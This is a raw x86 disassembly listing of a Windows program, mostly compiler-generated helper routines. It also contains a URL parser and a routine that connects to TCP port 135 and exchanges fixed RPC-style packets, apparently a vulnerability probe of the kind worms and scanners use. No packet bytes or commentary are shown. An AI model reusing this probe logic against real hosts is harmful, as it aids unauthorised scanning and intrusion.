lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421433
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42141C
mov dword ptr [esi+54h], 50h
loc_42141C: ; CODE XREF: sub_420F10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421433
mov dword ptr [esi+54h], 15h
loc_421433: ; CODE XREF: sub_420F10+3DBj
; sub_420F10+4F3j ...
push offset asc_4453E0 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013ED
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E47
push offset asc_4453E0 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013ED
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_4453E0 ; "/"
lea ecx, [esp+94h+var_6C]
call sub_4013ED
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_4453E0 ; "/"
mov ecx, esi
call sub_4015E1
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016C7
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_421519: ; CODE XREF: sub_420F10+2Aj
; sub_420F10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420F10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4216D0 proc near ; CODE XREF: sub_401AFFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4216FB
loc_4216E4: ; CODE XREF: sub_4216D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421702
inc eax
cmp eax, edx
jl short loc_4216E4
loc_4216FB: ; CODE XREF: sub_4216D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421702: ; CODE XREF: sub_4216D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4216D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421720: ; CODE XREF: ___:004020B8j
mov eax, 2010h
call sub_437B30
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42176D
dec eax
jz short loc_421747
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421747: ; CODE XREF: ___:00421738j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402022
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42176D: ; CODE XREF: ___:00421735j
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4218C9
cmp esi, 0FFFFFFFFh
jz loc_4218C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2B66h
nop
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40188E
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jz loc_4218C2
mov ebp, dword_511CA0
push 0
push 48h
push offset dword_444DA8
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4218C2
mov edi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi ; recv
cmp eax, 0FFFFFFFFh
jz loc_4218C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4218C2
push 0
push 18h
push offset dword_444E1C
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4218C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi ; recv
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4218C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4218C2
push 10h
push offset loc_444DF4
lea eax, [esp+24h]
push edi
push eax
call sub_401AFF
add esp, 10h
test al, al
jz short loc_421891
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421891: ; CODE XREF: ___:0042186Ej
push 10h
push offset dword_444E08
lea edx, [esp+24h]
push edi
push edx
call sub_401AFF
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4218C2: ; CODE XREF: ___:004217DBj
; ___:004217F6j ...
push esi
nop
call near ptr 71AB9639h
loc_4218C9: ; CODE XREF: ___:0042177Ej
; ___:00421787j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421950: ; CODE XREF: ___:00401A0Fj
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421970 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
sub_421970 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219B0 proc near ; CODE XREF: sub_4018E8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401910
sub_4219B0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219F0 proc near ; CODE XREF: sub_401825j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40197E
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401956
sub_4219F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A60 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401EDD
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421A60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421AA0 proc near ; CODE XREF: sub_40197Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421AA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AD0 proc near ; CODE XREF: sub_402185j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40197E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40190B
sub_421AD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B10 proc near ; CODE XREF: sub_40170Dj
push esi
mov esi, ecx
call sub_4019FB
mov eax, esi
pop esi
retn
sub_421B10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421B50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B80 proc near ; CODE XREF: sub_401811j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40201D
neg al
sbb eax, eax
inc eax
retn 4
sub_421B80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BB0 proc near ; CODE XREF: sub_4016EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
sub_421BB0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013F7
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401465
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021DA
sub_421BF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C60 proc near ; CODE XREF: sub_401465j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D89
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421C60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421CA0 proc near ; CODE XREF: sub_4013F7j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D89
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421CA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421CD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013F7
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BC2
sub_421CD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D10 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421D10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421D30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D50 proc near ; CODE XREF: sub_401839j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D5C
neg al
sbb eax, eax
inc eax
retn 4
sub_421D80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421DB0 proc near ; CODE XREF: sub_4010E6j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401EEC
mov edi, eax
push edi
call sub_401B31
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
sub_421DB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401B31
push edi
mov [eax], ebx
call sub_401B31
mov edi, [eax]
push edi
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E5B
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D98
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421E50 proc near ; CODE XREF: sub_40190Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401D07
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401910
sub_421E50 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401D07
push edi
mov [eax], ebx
call sub_401D07
mov edi, [eax]
push edi
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017F3
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_4019A6j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jz short loc_421F4A
loc_421F08: ; CODE XREF: sub_421EF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020D6
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A2D
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jnz short loc_421F08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421F4A: ; CODE XREF: sub_421EF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421F80 proc near ; CODE XREF: sub_401910j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401E0B
sub_421F80 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_421F95
mov edi, esi
loc_421F95: ; CODE XREF: ___:00421F91j
push esi
call sub_40206D
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_421FAA
mov edi, esi
loc_421FAA: ; CODE XREF: ___:00421FA6j
push esi
call sub_401D07
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421FD0 proc near ; CODE XREF: sub_401956j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401550
sub_421FD0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421FF0 proc near ; CODE XREF: sub_40206Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421FF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422010 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422010 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422030 proc near ; CODE XREF: sub_4019FBj
mov eax, ecx
retn
sub_422030 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_401EDDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401523
mov eax, esi
pop esi
retn 4
sub_422050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422080 proc near ; CODE XREF: sub_40201Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_422080 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4220B0 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018F7
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
sub_4220B0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013E8
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D89
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4221AA
loc_422168: ; CODE XREF: sub_422150+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019BA
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B90
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422168
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4221AA: ; CODE XREF: sub_422150+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422150 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4221E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020DB
sub_4221E0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4221F5
mov edi, esi
loc_4221F5: ; CODE XREF: ___:004221F1j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_42220A
mov edi, esi
loc_42220A: ; CODE XREF: ___:00422206j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422230 proc near ; CODE XREF: sub_4021DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018F2
sub_422230 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422250 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422270 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422270 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422290 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422290 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222B0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018FC
mov eax, esi
pop esi
retn 4
sub_4222B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222E0 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4222E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422310 proc near ; CODE XREF: sub_401E5Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A3C
add esp, 8
retn 8
sub_422310 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422340 proc near ; CODE XREF: sub_401A2Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020D6
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40206D
push esi
mov ebx, eax
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401D07
push esi
mov ebx, eax
call sub_40206D
mov eax, [eax]
push eax
call sub_401D07
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_40163B
push esi
mov ecx, edi
call sub_401956
sub_422340 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422400 proc near ; CODE XREF: sub_401D07j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422400 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422420 proc near ; CODE XREF: sub_401E0Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_422420 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422450 proc near ; CODE XREF: sub_401550j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422450 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422470 proc near ; CODE XREF: sub_4017F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40203B
add esp, 8
retn 8
sub_422470 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
